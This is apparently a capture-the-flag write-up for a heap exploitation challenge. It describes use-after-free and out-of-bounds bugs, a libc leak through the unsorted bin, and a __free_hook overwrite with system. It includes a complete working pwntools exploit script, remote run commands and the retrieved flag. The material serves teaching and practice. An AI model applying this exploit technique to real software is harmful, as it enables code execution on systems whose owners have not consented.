Category: Binary Exploitation
Flag: BITSCTF{358289056fd6ac0fef4e114ae5abeab2}
Challenge Description
Given cider_vault, libc.so.6, ld-linux-x86-64.so.2. Remote: nc chals.bitskrieg.in 36680
Protections: 64-bit PIE, Full RELRO, Canary, NX.
Analysis
From reversing (objdump, readelf, radare2) and runtime behavior, the menu has these key primitives:
-
open page →
malloc(size) -
paint page → writes attacker bytes to chunk
-
peek page → prints attacker-chosen bytes from chunk
-
tear page →
free(ptr) -
stitch pages →
realloc+ copy from another page -
whisper path → rewires pointer as:
vats[id].ptr = star_token ^ 0x51f0d1ce6e5b7a91
Bugs used:
-
UAF:
tear pagefrees memory but pointer is not nulled -
OOB read/write:
paint/peekallow up tosize + 0x80 -
Arbitrary pointer assignment:
whisper pathlets us set page pointer to almost any address
Exploitation
Step A — Leak libc with unsorted bin:
-
Allocate large chunk (
0x500) so free goes to unsorted bin -
Allocate guard chunk (
0x100) to avoid top consolidation -
Free the large chunk
-
Use UAF +
peekto read first qword (unsortedfd)
Empirically for provided libc: libc_base = unsorted_leak - 0x1ecbe0
Step B — Hook hijack:
-
__free_hook = libc_base + 0x1eee48 -
system = libc_base + 0x52290
Use whisper path to point a controlled page at __free_hook, then paint to write p64(system).
Step C — Trigger code execution:
Create chunk containing command string, free that chunk. Because __free_hook == system, free(chunk) becomes system(chunk_data).
File used: exploit.py
# !/usr/bin/env python3from pwn import *
context.binary = ELF("./cider_vault", checksec=False)libc = ELF("./libc.so.6", checksec=False)
LD = "./ld-linux-x86-64.so.2"XOR_KEY = 0x51F0D1CE6E5B7A91UNSORTED_LEAK_OFF = 0x1ECBE0
def start(): if args.REMOTE: host = args.HOST or "127.0.0.1" port = int(args.PORT or 1337) return remote(host, port) return process([LD, "--library-path", ".", "./cider_vault"])
def choose(io, n): io.sendlineafter(b"> ", str(n).encode())
def open_page(io, idx, size): choose(io, 1) io.sendlineafter(b"page id:\n", str(idx).encode()) io.sendlineafter(b"page size:\n", str(size).encode())
def paint_page(io, idx, data): choose(io, 2) io.sendlineafter(b"page id:\n", str(idx).encode()) io.sendlineafter(b"ink bytes:\n", str(len(data)).encode()) io.sendafter(b"ink:\n", data)
def peek_page(io, idx, n): choose(io, 3) io.sendlineafter(b"page id:\n", str(idx).encode()) io.sendlineafter(b"peek bytes:\n", str(n).encode()) out = io.recvn(n) io.recvuntil(b"\n") return out
def tear_page(io, idx): choose(io, 4) io.sendlineafter(b"page id:\n", str(idx).encode())
def whisper_path(io, idx, target_addr): choose(io, 6) io.sendlineafter(b"page id:\n", str(idx).encode()) token = target_addr ^ XOR_KEY if token >= (1 << 63): token -= 1 << 64 io.sendlineafter(b"star token:\n", str(token).encode())
def main(): io = start()
# 1) Leak libc from unsorted bin using UAF + OOB peek open_page(io, 0, 0x500) open_page(io, 1, 0x100) # guard chunk to avoid top consolidation tear_page(io, 0)
leak = u64(peek_page(io, 0, 8)) libc.address = leak - UNSORTED_LEAK_OFF log.success(f"unsorted leak: {hex(leak)}") log.success(f"libc base : {hex(libc.address)}")
free_hook = libc.symbols["__free_hook"] system = libc.symbols["system"] log.info(f"__free_hook : {hex(free_hook)}") log.info(f"system : {hex(system)}")
# 2) Prepare command chunk; free(cmd) will become system(cmd) cmd = b"cat /app/flag.txt; cat ./flag.txt; cat ./cider_vault/flag.txt\x00" open_page(io, 2, 0x100) paint_page(io, 2, cmd)
# 3) Arbitrary write via whisper_path + paint to overwrite __free_hook open_page(io, 3, 0x100) whisper_path(io, 3, free_hook) paint_page(io, 3, p64(system))
# 4) Trigger system(cmd) tear_page(io, 2)
out = io.recvrepeat(2) print(out.decode("latin-1", errors="ignore")) io.close()
if __name__ == "__main__": main()Run local:
python3 exploit.pyRun remote:
python3 exploit.py REMOTE HOST=chals.bitskrieg.in PORT=36680Retrieved flag:
BITSCTF{358289056fd6ac0fef4e114ae5abeab2}